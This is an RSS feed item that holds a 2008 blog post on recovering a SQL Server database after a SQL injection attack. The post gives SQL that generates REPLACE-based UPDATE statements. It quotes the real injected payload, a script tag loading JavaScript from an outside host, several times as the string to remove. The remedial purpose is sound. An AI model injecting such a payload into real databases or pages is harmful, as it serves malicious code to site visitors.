<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Simon Whatley &#187; backup</title>
	<atom:link href="http://www.simonwhatley.co.uk/tag/backup/feed" rel="self" type="application/rss+xml" />
	<link>http://www.simonwhatley.co.uk</link>
	<description>The opposite of every great idea is another great idea</description>
	<lastBuildDate>Wed, 02 Nov 2011 09:28:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>How to Fix a SQL Injection Attack</title>
		<link>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack</link>
		<comments>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack#comments</comments>
		<pubDate>Fri, 15 Aug 2008 15:33:00 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[programatically]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[rollback]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=814</guid>
		<description><![CDATA[In my previous post, What is a SQL Injection Attack, I gave a brief overview of SQL injection and Cross-Site Scripting (XSS), primarily with regard to websites. In the example given, we saw that an attack could take the form of a ‘hacked’ URL which contained either a literal SQL statement, or a hexadecimal string that could be interpreted by an insecure SQL database server.]]></description>
			<content:encoded><![CDATA[<p>In my previous post, <a href="/what-is-a-sql-injection-attack">What is a SQL Injection Attack</a>, I gave a brief overview of <acronym title="Structured Query Language">SQL</acronym> injection and Cross-Site Scripting (<abbr title="Cross-Site Scripting">XSS</abbr>), primarily with regard to websites. In the example given, we saw that an attack could take the form of a &#8216;hacked&#8217; URL which contained either a literal <acronym title="Structured Query Language">SQL</acronym> statement, or a hexadecimal string that could be interpreted by an insecure <acronym title="Structured Query Language">SQL</acronym> database server.</p>
<p>Which ever method is used to inject <acronym title="Structured Query Language">SQL</acronym> and ultimately dangerous scripts into the database, we need to know how to deal with the problem and &#8216;roll it back&#8217; to a safe state.</p>
<p>If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Programatically Replace Injected Code</h3>
<p>Fortunately, by the very nature of an <abbr title="Cross-Site Scripting">XSS</abbr> attack, code is appended to the data already in the database &#8212; rather than replacing it &#8212; which means we simply need to remove the appended content.</p>
<p>Taking a real-world example, below is string that was injected into the database:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--</pre></div></div>

<p>When rendered by a standard <acronym title="Hyper-Text Markup Language">HTML</acronym> page, the string is either displayed to the user agent, or the JavaScript file is called by the page, causing a security threat.</p>
<p>With the example above, we can use the following script to recurse through and create update scripts for every &#8216;infected&#8217; table and column (of the type <code>char</code>, <code>nchar</code>, <code>varchar</code> and <code>nvarchar</code>), in the database.</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">SELECT 'UPDATE [' + table_name + ']
SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--'', '''')
WHERE ' + column_name + ' LIKE ''%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--%'''
FROM information_schema.columns
WHERE (character_maximum_length is not NULL)
AND ([table_name] not like 'dt%')
AND ([table_name] not like 'sys%')</pre></div></div>

<p>The resultset then produces update statements that look like the following (I have masked the actual table and column names):</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">UPDATE [tableName]
SET columnName = REPLACE(CAST(columnName AS VARCHAR(8000)), '&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--', '')
WHERE columnName LIKE '%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--%'</pre></div></div>

<p>These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.</p>
<p>If the actual code that was injected is different, simply change the above code to suit your needs.</p>
<p><del datetime="2008-10-01T15:33:30+00:00">You can download the SQL rollback script for your own needs.</del></p>
<h3>Prevent a Successful Attack</h3>
<p>As the popular idiom goes <q>prevention is better than a cure</q>, I will discuss in my next post how to mitigate against <acronym title="Structured Query Language">SQL</acronym> Injection attacks &#8212; on ColdFusion-based websites &#8212; before they become a problem.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/how-to-fix-a-sql-injection-attack/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

